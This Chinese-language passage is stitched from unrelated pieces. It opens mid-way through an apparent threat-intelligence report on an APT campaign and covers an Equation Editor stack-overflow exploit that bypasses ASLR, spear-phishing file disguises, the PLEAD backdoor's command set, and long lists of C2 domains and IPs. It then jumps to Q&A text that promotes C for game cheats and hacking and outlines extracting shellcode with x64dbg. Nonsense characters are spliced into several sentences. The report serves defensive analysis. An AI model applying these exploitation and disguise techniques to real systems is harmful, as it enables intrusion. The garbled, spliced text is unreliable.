从代码中另外可以看到,CVE-2017-11882所在的漏洞函数,也同样会被sub_421774函数调用到。
(2) 漏洞利用分析
1) 触发漏洞前
在调用sub_421E39前查看当前的调试信息,栈上第一个参数正是字体名字,也是一段精心构造的shellcode。
2) 触发栈溢出
可以发现栈上的一个返回地址0x1d14e2被修改为了0x1d0025。
由于11月份修补的Eqnedt32.exe中增加了ASLR的防护措施,无法知道当前模块加载的基地址,但是可以利用相对地址不会改变这个特性,通过栈溢出就可以实现将栈上的地址0x1d14e2改为与其相对偏移0x14BD的一个地址,也即是将0x1d14e2的低16位修改为0×0025。
3) Shellcode
ret跳转到shellcode:
跳转到WinExec执行恶意PE:
而%tmp%\DAT9689.tmp是该文档内嵌并已经释放出来的一个恶意PE可执行文件。
2、 历史载荷投递分析
该组织最常使用鱼叉攻击,采用发内容紧贴热点话题的诱饵文件进行攻击。
该组织攻击者善于伪装,包括使用文档类图标、反转字符、双扩展名、漏洞利用等。伪装方式分布为:
(1) 伪装成文档图标,同正常文档打包在同一压缩包中,诱骗点击
(2) 使用特殊的unicode字符(RTLO)反转文件名实现伪装
(3) 使用双重文件名实现伪装(不显示扩展名的情况下极具欺骗性)
(4) 使用漏洞打包成恶意文档文件
三、 载荷分析
本次攻击使用的是一个代号为PLEAD的后门程序,该木马的核心功能以shellcode的形式存在,外壳实现的功能通常是分配一块内存,并将加密的shellcode解密到该内存中,完成后直接跳转到相应的内存块执行。为了对抗安全软件的查杀,外壳的代码千变万化,但核心的shellcode至今只发现了三个差异较大的版本:
版本
大小
出现时间
特点
版本1 6544 2012年 Shellcode中实现注入到ie中执行主功能代码
版本2 5912 2014年 直接执行主功能函数,去掉了注入ie的代码
版本3 3512 2015年 去掉了提示字符串等信息,精简大小
外壳行为分析:
创建互斥量,防止重复运行:互斥量格式为将当前时间格式化为以下格式字符串:
1….%02d%02d%02d_%02d%02d…2,
如1….20180109_0945…2
shellcode存放在局部数组中,极难检测:
解密算法如下:
获取用户名、计算机名、本机IP地址、系统版本,加密发送到C2,使用http协议:
命令分发:
命令代码
功能
C 获取浏览器上网代理设置和安装软件列表信息
L 获取本地磁盘列表及类型
E 执行一条命令/文件,并通过管道取得执行结果返回(CMDShell)
P 并从指定URL重新下载文件到指定位置
G 上传指定文件
D 删除指定文件
A Sleep 指定时间
四、 总结
随着“互联网+”时代的来临,政府、企业把更多的业务向云端迁移,各行各业都在构建自己的大数据中心,数据价值凸显。在这种趋势下面,根据腾讯御见威胁情报中心的监测数据表明,政府、企业所面临的APT攻击变得越来越频繁和常见。腾讯企业安全针对APT防御方面提供了多种解决方案,腾讯御界、腾讯御点等产品均可以检测和防御本次APT攻击。
五、 参考资料
https://www.easyaq.com/news/661053968.shtml
http://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/
附录:IOCs
Hash:
C2:
greeting.hopewill.com
beersale.servebeer.com
pictures.happyforever.com
cert.dynet.com
soo.dtdns.net
rio.onmypc.org
paperspot.wikaba.com
sysinfo.itemdb.com
asus0213.asuscomm.com
firstme.mysecondarydns.com
nspo.itaiwans.com
injure.ignorelist.com
dcns.sonicecation.com
seting.herbalsolo.com
kh7710103.qnoddns.org.cn
zing.youdontcare.com
moutain.onmypc.org
icst.compress.to
twcert.compress.to
festival.lflinkup.net
xuite.myMom.info
avira.justdied.com
showgirls.mooo.com
linenews.mypicture.info
zip.zyns.com
sushow.xxuz.com
applestore.dnset.com
superapple.sendsmtp.com
newspaper.otzo.com
yahoo.zzux.com
microsfot.ikwb.com
facebook.itsaol.com
amazon.otzo.com
cecs.ben-wan.com
av100.mynetav.net
rdec.compress.to
forums.toythieves.com
kukupy.chatnook.com
pictures.wasson.com
moea.crabdance.com
hinet.homenet.org
freeonshop.x24hr.com
blognews.onmypc.org
ametoy.acmetoy.com
usamovie.mylftv.com
timehigh.ddns.info
ikwb55.ikwb.com
dpp.edesizns.com
hehagame.Got-Game.org
wendy.uberleet.com
needjustword.bbsindex.com
front.fartit.com
accounts.fartit.com
177.135.177.54
18.163.14.217
60.249.208.167
220.133.73.13
220.134.10.17
122.147.248.69
220.132.50.81
111.249.102.102
118.163.14.217
59.124.71.29
220.134.98.3
61.219.96.18
114.27.132.233
123.110.131.86
61.58.90.63
122.117.107.178
114.39.59.244
61.222.32.205
60.251.199.226
61.56.11.42
61.58.90.11
123.110.131.86
210.67.101.84
210.242.211.175
211.23.191.4
203.74.123.121
59.125.7.185
59.125.132.175
59.120.169.51
125.227.241.2
125.227.225.181
118.163.168.223
1.170.118.233
dcns.chickenkiller.com
subnotes.ignorelist.com
mozila.strangled.net
boe.pixarworks.com
moc.mrface.com
su27.oCry.com
motc.linestw.com
ting.qpoe.com
blognews.ezua.com
nevery.b0ne.com
jog.punked.us
africa.themafia.info
tios.nsicscores.com
dream.wikaba.com
pcphoto.servehalflife.com
17ublog.1mb.com
effinfo.effers.com
edit.ctotw.tw
tw.chatnook.com
twnic.crabdance.com
asus.strangled.net
furniture.home.kg
newpower.jkub.com
cypd.slyip.com
tabf.garrarufaworld.com
wordhasword.darktech.org
techlaw.linestw.com
techlawilo.effers.com
support.bonbonkids.hk
zany.strangled.net
flog.pgp.com.mx
job.jobical.com
picture.diohwm.com
npa.dynamicdns.org.uk
webmail.24-7.ro
docsedit.cleansite.us
fastnews.ezua.com
INetGIS.faceboktw.com
teacher.yahoomit.com
idb.jamescyoung.com
picture.brogrammer.org
idb.jamescyoung.com
picture.brogrammer.org
movieonline.redirectme.net
formosa.happyforever.com
mirdc.happyforever.com
webey.sbfhome.net
cust.compradecedines.com.ar
cwb.soportetechmdp.com.ar
tw.shop.tm
music.ftp.sh
forums.happyforever.com
专
‘柒’ c语言是什么 都能干什么
C是一种高级通用编程语言,非常适合开发固件或便携式应用程序,最初用于编写系统软件,C是由Dennis Ritchie在20世纪70年代早期在贝尔实验室为Unix操作系统开发的。
C语言能干什么
1、C语言可以做嵌入式开发。
2、C语言可以写漂亮的界面瞎谨。以windows开发为例,你可以学习《windows程序设计(第五版)》,学完就可以写出界面来。还有一些开源库界面库,例如soui也是用C写出来的。
3、C语言可以做服务器开发,现在的游戏服务器端大多都是C/C++开发的。《windows核心编程》里面的例子就是用C写的。
4、C语言可以写游戏。cocos2d-x就是C/C++写的。DirectX也是。
5、C语言可以写驱动程序。windows下各种硬件驱动都是C/C++写的。腾讯游戏保护软件(TP)也是驱动程序。
6、C语言可以写外挂。想学写外挂的童鞋们可以看看郁金香的外挂编程视频教程。
7、C语言可以做视频图片流媒体处理。有兴趣的朋友可以学习一下ffmpeg、live555、sdl等开源库。
8、C语言可以做网页和爬虫相关的编程。想了解的同学可以去看gsoap、libcur等相关开源库。
9、C语言可以进行黑客编程。配合汇编获取随机地址、调shellcode等。
C语言有什么优势
1、简洁紧凑、灵活方便
C语言一共只有32个关键字,9种控制语句,程序书写形式自由,区分大小写。把高级语言的基本结构和语句与低级语言的实用性结合起来。C 语言可以像汇编语言一样对位、字节和地址进行操作,而这三者是计算机最基本的工磨和基作单元。
2、运算符丰富
C语言的运算符包含的范围很广泛,共有34种运算符。C语言把括号、赋值、强制类型转换等都作为运算符处理。从而使C语言的运算类型极其丰富,表达式类型多样化。灵活使用各种运算符可以实现在其它高级语言中难以实现的运算。
3、数据类型丰富
C语言的数据类型有:整型、实型、字符型、数组类型、指针类型、结构体类型、共用体类型等。能用来实现各种复杂的数据结构的运算。并引入了指针概念,使程序效率更高。
4、表达方式灵活实用
C语言提供多种运算符和表达式值的方法,对问题的表达可通过多种途径获得,其程序设计更主动、灵活。它语法限棚亮制不太严格,程序设计自由度大,如对整型量与字符型数据及逻辑型数据可以通用等。
‘捌’ csgo获取shellcode
csgo获取shellcode?如何从内存中提取shellcode
1.我们可以使用api hooks 来提取shellcode。在任逗粗渗何 API 调用上设置断点是很常见的凳改。我将使用 x64dbg。你可以使用其他应用程序。
2.将可执行文件下载到 x64dbg。转到符号并找到VirtualAlloc。设置断点并执行直山脊到返回。